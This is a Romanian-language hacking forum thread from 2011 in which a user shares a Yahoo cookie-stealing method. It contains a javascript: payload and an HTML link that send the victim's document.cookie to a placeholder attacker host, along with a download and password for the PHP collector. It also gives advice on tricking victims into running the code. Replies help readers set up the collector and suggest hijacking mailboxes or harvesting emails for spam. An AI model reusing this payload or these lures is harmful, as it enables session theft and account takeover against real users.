Guest expl0iter Posted December 13, 2011 Report Share Posted December 13, 2011 (edited) Fara sa folosesti XSSDaca tot nu este voie cu XSS-uri de yahoo pe rst, am gasit o metoda de a fura cookieuri si fara XSS Acest grabber este pentru cei care nu au XSS, insa au putere maxima de a prosti lumea.Dai acest cod la victima sa il bage in browser. [Tre sa ai putere de convingere foarte mare]javascript:document.location='http://site-ul-tau.com/yahoo.php?ex='.concat(escape(document.cookie)); Victima trebuie sa intre pe yahoo.com apoi sa bage in browser acel cod.Nu am testat acest cod, dar incercati voi. Trimiteti un mail la un id de mess cu codul urmator:<a href="javascript:document.location='http://site-ul-tau.com/yahoo.php?ex='.concat(escape(document.cookie));">CLICK</a>Scriptul e gasit prin pc.Daca gasiti metode de a baga acel script in browserul cuiva fara accesul persoanei repective, anuntati-ma si pe mine ) sa nu mor prost Oricum nu prea se pot face multe chestii.http://i.imgur.com/vNjm1.pngUploadati fisierele si creati un folder: /cookiesDownload: Multiupload.com - upload your files to multiple file hosting sites!Pass:rstcenter.com Edited December 13, 2011 by expl0iter Quote Link to comment Share on other sites More sharing options...
Robert1995 Posted December 13, 2011 Report Share Posted December 13, 2011 e faina ideea,poti sa faci cam o singura chestia cu asta,sa aduni emailuri apoi sa le vinzi presupun,daca ai un blog mare asa poti sa vezi clar cine se uita la blogul tau si are yahoo + ca strangi emails Quote Link to comment Share on other sites More sharing options...
Guest expl0iter Posted December 13, 2011 Report Share Posted December 13, 2011 e faina ideea,poti sa faci cam o singura chestia cu asta,sa aduni emailuri apoi sa le vinzi presupun,daca ai un blog mare asa poti sa vezi clar cine se uita la blogul tau si are yahoo + ca strangi emailsCe ma? Tu stii ce face un cookie grabber?Ba, nu ia mailurile ci iti da access la mailul respectiv. Loooool:| Quote Link to comment Share on other sites More sharing options...
StrXt Posted December 13, 2011 Report Share Posted December 13, 2011 (edited) Am vrut sa ma uit si eu peste el dar nu ai mentionat nimic de parola.Vreo alternativa pentru brute-force ?//mersi Edited December 13, 2011 by StrXt Quote Link to comment Share on other sites More sharing options...
Guest expl0iter Posted December 13, 2011 Report Share Posted December 13, 2011 Am vrut sa ma uit si eu peste el dar nu ai mentionat nimic de parola.Vreo alternativa pentru brute-force ?Am dat EDIT. M-am grabit.rstcenter.com e parola Quote Link to comment Share on other sites More sharing options...
pr00f Posted December 13, 2011 Report Share Posted December 13, 2011 Ce face js-ul ? Quote Link to comment Share on other sites More sharing options...
gaabytzu Posted December 14, 2011 Report Share Posted December 14, 2011 Merge.Cat timp sunt valabile prajiturile? Quote Link to comment Share on other sites More sharing options...
J Posted December 14, 2011 Report Share Posted December 14, 2011 Nu stiu de cand e sursa asta dar am avut si eu una asemanatoare prin 2009. Ma mir ca inca mai merge metoda asta . Quote Link to comment Share on other sites More sharing options...
mandeamarian Posted December 18, 2011 Report Share Posted December 18, 2011 De unde setez parola de pe hacked.php? Quote Link to comment Share on other sites More sharing options...
Guest expl0iter Posted December 18, 2011 Report Share Posted December 18, 2011 De unde setez parola de pe hacked.php?<?php$pass = "pass";?> Quote Link to comment Share on other sites More sharing options...
kozy Posted December 18, 2011 Report Share Posted December 18, 2011 Da koa' da cum pana mea il convingi pe mameluc sa copie codu ala in browser,cat de prost trebuie sa fie victimizatu'.Stiam de metoda asta demult, e mai veche ca victor ciorbea si nici n-am facut mare cacau cu ea, asa ca:- SARBATORI FERICITE ! Quote Link to comment Share on other sites More sharing options...
Guest expl0iter Posted December 18, 2011 Report Share Posted December 18, 2011 Da koa' da cum pana mea il convingi pe mameluc sa copie codu ala in browser,cat de prost trebuie sa fie victimizatu'.Asta deja nu este treaba mea... Eu am postat metoda.. Tu cauta o metoda ingenioasa.. inventeaza ceva . Incearca cu <a href="COD">xxx</a>. Nu am avut timp sa incerc eu Quote Link to comment Share on other sites More sharing options...
mandeamarian Posted December 18, 2011 Report Share Posted December 18, 2011 (edited) Merge metoda cu <a href= dar imi apare o eroare cand ma loghez pe hacked.php....Warning: opendir(./cookies/) [function.opendir]: failed to open dir: No such file or directory in /home/a2822812/public_html/hacked.php on line 61LAST EDIT:Am rezolvat, mersi Edited December 18, 2011 by mandeamarian Quote Link to comment Share on other sites More sharing options...
#Include.ClasS Posted December 18, 2011 Report Share Posted December 18, 2011 Cum ai rezolvato ? Quote Link to comment Share on other sites More sharing options...
Guest expl0iter Posted December 18, 2011 Report Share Posted December 18, 2011 Cum ai rezolvato ?Trebuie creat acel folder cookies Quote Link to comment Share on other sites More sharing options...
mandeamarian Posted December 18, 2011 Report Share Posted December 18, 2011 Facusem folderul "cookie" in loc de "cookies" Quote Link to comment Share on other sites More sharing options...
danyelutzu Posted December 27, 2011 Report Share Posted December 27, 2011 Imi spuneti si mie care file trebuie uploadate si unde trebuie uploadate un exemplu ! Va Rog! Quote Link to comment Share on other sites More sharing options...
unknown. Posted December 28, 2011 Report Share Posted December 28, 2011 Imi spuneti si mie care file trebuie uploadate si unde trebuie uploadate un exemplu ! Va Rog!Pe un host.Si data viitoare evita culorile astea de pizda. Quote Link to comment Share on other sites More sharing options...
Warning Posted January 5, 2012 Report Share Posted January 5, 2012 Vreo metodata in afara ca trebuie sa copie codul ala in browser ? a gasit careva...RESPECT Quote Link to comment Share on other sites More sharing options...
alexalghisi Posted January 5, 2012 Report Share Posted January 5, 2012 nu merge .. Quote Link to comment Share on other sites More sharing options...
Moderators Dragos Posted January 6, 2012 Moderators Report Share Posted January 6, 2012 Ce ma? Tu stii ce face un cookie grabber?Ba, nu ia mailurile ci iti da access la mailul respectiv. Loooool:|Poti pune un iframe cu xss-ul intr-un site cu multe vizite, iti faci o lista cu sute de mail-uri pe care le poti vinde pentru spam. Nu te mai impacienta asa, gandeste inainte sa scrii ceva. Quote Link to comment Share on other sites More sharing options...
razvan2003 Posted January 6, 2012 Report Share Posted January 6, 2012 eu daca trimit mail cu <a href nu-mi pune linkul la textul respectiv, ci imi arata pur si simplu ce am scris. Gresesc cu ceva?thx expl0iter pt "schema"! Quote Link to comment Share on other sites More sharing options...
Guest expl0iter Posted January 8, 2012 Report Share Posted January 8, 2012 eu daca trimit mail cu <a href nu-mi pune linkul la textul respectiv, ci imi arata pur si simplu ce am scris. Gresesc cu ceva?thx expl0iter pt "schema"!Stiu asta. Quote Link to comment Share on other sites More sharing options...
sandabot Posted January 8, 2012 Report Share Posted January 8, 2012 Dude BTW codu asta merge ? <a href="javascript:document.location='http://site-ul-tau.com/yahoo.php?ex='.concat(escape(document.cookie));">CLICK</a> Quote Link to comment Share on other sites More sharing options...
razvan2003 Posted January 8, 2012 Report Share Posted January 8, 2012 Cum am spus si mai sus codul nu merge LA MINE dar a scris altcineva cum ca la el ar functiona. Daca are bunavointa de a ne arata cum a reusit. Quote Link to comment Share on other sites More sharing options...
